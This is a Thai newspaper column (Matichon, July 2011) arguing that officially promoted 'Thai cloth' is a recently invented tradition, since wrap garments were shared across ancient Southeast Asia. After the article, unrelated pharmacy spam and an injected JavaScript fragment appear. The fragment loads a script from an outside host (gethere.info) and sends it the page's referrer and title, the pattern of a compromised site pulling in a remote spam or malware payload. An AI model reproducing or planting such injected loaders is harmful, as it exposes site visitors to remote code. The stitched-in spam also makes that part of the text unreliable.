มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 21 กรกฎาคม 2554

 

          ผ้าผืนเดียว เตี่ยวพันกาย ใช้นุ่งก็ได้ห่มก็ได้ เป็นเครื่องแต่งกายเก่าแก่มากของคนทั้งโลก เมื่อมนุษย์แรกรู้จักทอผ้า

ผ้าผืนนี้เองที่คนในสุวรรณภูมิและอุษาคเนย์เรียกภายหลังตามลักษณะการใช้งานด้วยภาษาของตนว่า ถุง, ซิ่น, โสร่ง, โจงกระเบน, ขะม้า, ฯลฯ

จะเห็นว่าไม่มีคำว่า ผ้าเขมร, ผ้ามอญ, ผ้าลาว, ผ้าแขก, ผ้าไทย, ฯลฯ

         ผ้าไทย ที่คณะรัฐมนตรีพยายามแสดงความเป็นไทย จึงเพิ่งมีขึ้นใหม่ๆ นับเป็นวัฒนธรรมสร้างใหม่ และเป็นประเพณีประดิษฐ์ใหม่ ใช้หลอกตัวเองและหลอกคนอื่นว่า“เป็นไทย” ตลกดีจริง 

บางทีถึงขนาดกล่าวว่า มีความจำเป็นต้องแสดงตนเป็นชนชาติใด มีวัฒนธรรมอย่างไร ผ่านเครื่องแต่งกาย 

แต่ตามหลักฐานประวัติศาสตร์โบราณคดีแล้ว เครื่องแต่งกายของคนแต่ก่อนที่ต่างกันมากบ้าง น้อยบ้าง เพราะแต่ละกลุ่มอยู่ห่างไกลกัน บางทีเรียกอยู่คนละหุบเขา แล้วมีการรุกราน ตีรันกันเสมอ ดังนั้นเพื่อแสดงตนเป็นพวกเดียวกัน ไม่ใช่ศัตรูกัน จึงต้องแต่งกายเหมือนกัน

         โลกปัจจุบันเป็นอย่างนั้นหรือ? 

ชุดประจำชาติมี 2 พวก คือ พวกแต่งมาแต่เดิม กับพวกเพิ่งฟื้นฟูแต่งเมื่อได้อิสรภาพจากเป็นเมืองขึ้น

         คนไทยอยู่พวกไหน? 

แท้จริงแล้วเครื่องแต่งกายของบรรพชนคนสุวรรณภูมิและคนอุษาคเนย์ ซึ่งรวมบรรพชนคนไทยด้วย มีใกล้เคียงคล้ายคลึงกันถือเป็นวัฒนธรรมร่วม 

พบหลักฐานเก่าสุดราว 2,500 ปีมาแล้ว เป็นลายเส้นบนเครื่องมือสัมฤทธิ์ พบที่เวียดนาม รูปหมอลำหมอแคนทำท่าฟ้อนเต้นเล่นร้องรำทำเพลง แต่งตัวคล้ายนุ่งใบไม้ เช่น ใบมะพร้าว, ใบตาล แล้วเปลือยลำตัว มีเทริดสวมหัวด้วยใบไม้หรือขนนก 

 

หมอลำ-หมอแคน ลายเส้นบนเครื่องมือสัมฤทธิ์ เมื่อราว 2,500 ปี ใส่เครื่องประดับบนหัว คล้ายใบไม้ ขนนก แล้วนุ่งผ้าปล่อยชายลงไปสองข้าง กำลังทำท่าขับลำแล้วฟ้อนเต้นไปด้วย

forzest uk Buy silvitra online canadas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;